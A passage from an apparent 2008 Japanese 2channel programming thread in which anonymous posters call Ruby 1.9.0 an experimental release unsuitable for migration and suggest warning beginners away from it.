1.9使用者=デバッガか・・・ますます移行する気がおきんな

328 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:47:18 ]
だから、移行するようなモノじゃないって。


329 名前:318 mailto:sage [2008/01/28(月) 22:49:27 ]
>>321
それは試したのですが結果は変わりませんでした。

330 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:49:38 ]
>>327
お前の周りでは「やっとβ版が出たのでシステムをこれに移行しました」とかいうことがあるのか?
しないだろ? 試しに遊んでみて納得する程度だろ?



331 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:51:55 ]
次スレたてるときは、「初心者は1.9.0使うな」って書かないとあかんね。

332 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:52:34 ]
>>331
>>7







[ 続きを読む ] / [ 携帯版 ]

前100 次100 最新50 [ このスレをブックマーク! 携帯に送る ] 2chのread.cgiへ
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧]( ´∀`)<271KB

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef